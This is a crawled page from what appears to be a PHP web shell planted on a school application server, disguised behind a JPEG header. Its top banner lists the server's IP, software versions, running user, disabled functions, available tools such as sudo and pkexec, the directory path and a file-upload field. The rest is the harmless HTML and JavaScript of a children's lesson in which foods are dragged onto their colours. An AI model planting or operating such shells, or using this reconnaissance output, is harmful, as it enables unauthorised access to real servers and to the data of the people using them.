????JFIF??x?x????'
| Server IP : 79.136.114.73 / Your IP : 216.73.216.55 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/appsrv.astacus.se/apps/school/www_old6/Html/LevelC/Category3/ |
Upload File : |
<!DOCTYPE html>
<html>
<head>
<title>Match the colors with food items</title>
<script type="text/javascript" src="../../../js/allScriptsForLessonsHtml.js"></script>
<style type="text/css">
</style>
<script>
function page_preLoad()
{
shared_setDeviceTypeLevelCategoryLastLesson(Level.C, Category.No3);
shared_set_tblMainiPadBodyWidthHeight('id_tblMainiPadBody', 'id_meta');
shared_setHeaderTable('id_tblHeader', shared_title_page, shared_getSubTitle(Level.C, Category.No3, 5), true, true);
shared_setFooterTable('id_tblFooter', true, true, false, true, true);
var ids_headings = ['id_td_heading1'];
var ids_boxes = ['id_boxForBread', 'id_boxForRice', 'id_boxForVegetables', 'id_boxForDhal'];
var ids_options = ['id_options', 'id_spanWhiteRice', 'id_spanYellowDhal', 'id_spanBrownBread', 'id_spanGreenVegetables'];
var ids_All = ids_headings.concat(ids_boxes, ids_options);
shared_adjust_fontSize_for_ids_all_devices(ids_All, 80);
shared_init_dropBox_tds_with_drag_here(ids_boxes);
shared_init_dropping_spans(ids_options);
var id_tables_array = ['id_table1', 'id_table2', 'id_table3', 'id_table4', 'id_table5'];
shared_border_collapse_for_tables_except_android(id_tables_array);
}
function page_onLoad()
{
}
function btnHome_click()
{
shared_btnHomeCategories_click('LevelC');
}
function btnPrevious_click()
{
window.location = "LevelCCat3Lesson04.html";
}
function btnNext_click()
{
window.location = "LevelCCat3Lesson06.html";
}
function DragDrop(id_dropBox, ids_array)
{
if (shared_isMovingElementIdInTheArraySetIsFilledTrue(id_dropBox, ids_array))
{
shared_setTextAndBackgroundColorToGreenAndIsMovedTrue(shared_currentDropingId, id_dropBox);
isAllInfosMovedShowClapsAnimation();
shared_set_currentDropingId_draggbleToFalse();
}
else
{
shared_resetCurrentDroppingPosition(id_dropBox);
}
}
function isAllInfosMovedShowClapsAnimation()
{
var ids_boxes = ['id_boxForBread', 'id_boxForRice', 'id_boxForVegetables', 'id_boxForDhal'];
shared_is_all_infos_filled_show_claps_animationWithIsFilled(ids_boxes);
}
</script>
</head>
<body onload="page_onLoad()">
<div id="shared_id_div_claps_image">
</div>
<table id="id_tblMainiPadBody" border="1" cellspacing="0" cellpadding="0">
<tr height="8%">
<td>
<div id="id_tblHeader"></div>
</td>
</tr>
<tr height="*" data-role="page"> <!-- for swiping left and right especially for Android device -->
<td>
<table width="100%" height="100%" border="0" cellpadding="2%" cellspacing="0">
<tr height="100%">
<td>
<table id="id_table1" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr height="5%">
<td id="id_td_heading1" class="shared_style_blue_24px_bold_padding_left_2_percent">
<u>Match the following food and their colours.</u>
</td>
</tr>
<tr height="12%">
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr>
<td>
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr>
<td id="id_options" class="shared_style_options_blue_24px_bold" width="22%">Options:
</td>
<td width="*">
<table width="100%" height="100%" border="0" cellspacing="0" cellpadding="0" style="border-collapse:collapse">
<tr>
<td id="id_td_WhiteRice" width="50%" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_spanWhiteRice" class="shared_style_red_24px_bold_padding_left_2_percent">White rice</span>
</td>
<td id="id_td_YellowDhal" width="*" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_spanYellowDhal" class="shared_style_red_24px_bold_padding_left_2_percent">Yellow dhal</span>
</td>
</tr>
<tr>
<td id="id_td_BrownBread" width="50%" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_spanBrownBread" class="shared_style_red_24px_bold_padding_left_2_percent">Brown bread</span>
</td>
<td id="id_td_GreenVegetables" width="*" draggable="true" ondragstart="shared_dragStartNew(event)">
<span id="id_spanGreenVegetables" class="shared_style_red_24px_bold_padding_left_2_percent">Green vegetables</span>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="*">
<td>
<table width="100%" height="100%" border="1" cellspacing="2%" cellpadding="0" style="border:none">
<tr id="id_tr_bread" height="25%">
<td width="100%" style="border:none"
ondragover="shared_highlight('id_boxForBread'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_boxForBread')"
ondrop="DragDrop('id_boxForBread', ['id_spanBrownBread'])">
<table id="id_table2" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="50%" align="center">
<img id="id_imgBread" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/bread.png" width="35%" draggable="false">
</td>
<td id="id_boxForBread" class="shared_style_red_24px" width="*" align="center">
_________
</td>
</tr>
</table>
</td>
</tr>
<tr id="id_tr_rice" height="25%"
ondragover="shared_highlight('id_boxForRice'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_boxForRice')"
ondrop="DragDrop('id_boxForRice', ['id_spanWhiteRice'])">
<td width="100%" style="border:none">
<table id="id_table3" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="50%" align="center">
<img id="id_imgRice" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/rice.png" width="35%" draggable="false">
</td>
<td id="id_boxForRice" class="shared_style_red_24px" width="*" align="center">
_________
</td>
</tr>
</table>
</td>
</tr>
<tr id="id_tr_vegetables" height="25%"
ondragover="shared_highlight('id_boxForVegetables'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_boxForVegetables')"
ondrop="DragDrop('id_boxForVegetables', ['id_spanGreenVegetables'])">
<td width="100%" style="border:none">
<table id="id_table4" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="50%" align="center">
<img id="id_imgVegetables" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/vegetables.png" width="35%" draggable="false">
</td>
<td id="id_boxForVegetables" class="shared_style_red_24px" width="*" align="center">
_________
</td>
</tr>
</table>
</td>
</tr>
<tr id="id_tr_dhal" height="*"
ondragover="shared_highlight('id_boxForDhal'); shared_allowDrop_web(event)"
ondragleave="shared_un_highlight('id_boxForDhal')"
ondrop="DragDrop('id_boxForDhal', ['id_spanYellowDhal'])">
<td width="100%" style="border:none">
<table id="id_table5" width="100%" height="100%" border="1" cellspacing="0" cellpadding="0">
<tr>
<td width="50%" align="center">
<img id="id_imgDhal" src="../../../img/LevelC/Category3/LevelCCat3Lesson05/dhal.png" width="35%" draggable="false">
</td>
<td id="id_boxForDhal" class="shared_style_red_24px" width="*" align="center">
_________
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr height="8%">
<td>
<div id="id_tblFooter"></div>
</td>
</tr>
</table>
<script>
page_preLoad();
new webkit_draggable('id_spanWhiteRice', {handle : 'id_td_WhiteRice', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_spanYellowDhal', {handle : 'id_td_YellowDhal', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_spanBrownBread', {handle : 'id_td_BrownBread', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
new webkit_draggable('id_spanGreenVegetables', {handle : 'id_td_GreenVegetables', revert : true, scroll : false, onStart : function(){shared_dragStartNew(event)}});
webkit_drop.add('id_tr_bread', {onOver : function(){shared_highlight('id_boxForBread')}, onOut : function(){shared_un_highlight('id_boxForBread')}, onDrop : function(){DragDrop('id_boxForBread', ['id_spanBrownBread'])}});
webkit_drop.add('id_tr_rice', {onOver : function(){shared_highlight('id_boxForRice')}, onOut : function(){shared_un_highlight('id_boxForRice')}, onDrop : function(){DragDrop('id_boxForRice', ['id_spanWhiteRice'])}});
webkit_drop.add('id_tr_vegetables', {onOver : function(){shared_highlight('id_boxForVegetables')}, onOut : function(){shared_un_highlight('id_boxForVegetables')}, onDrop : function(){DragDrop('id_boxForVegetables', ['id_spanGreenVegetables'])}});
webkit_drop.add('id_tr_dhal', {onOver : function(){shared_highlight('id_boxForDhal')}, onOut : function(){shared_un_highlight('id_boxForDhal')}, onDrop : function(){DragDrop('id_boxForDhal', ['id_spanYellowDhal'])}});
</script>
</body>
</html>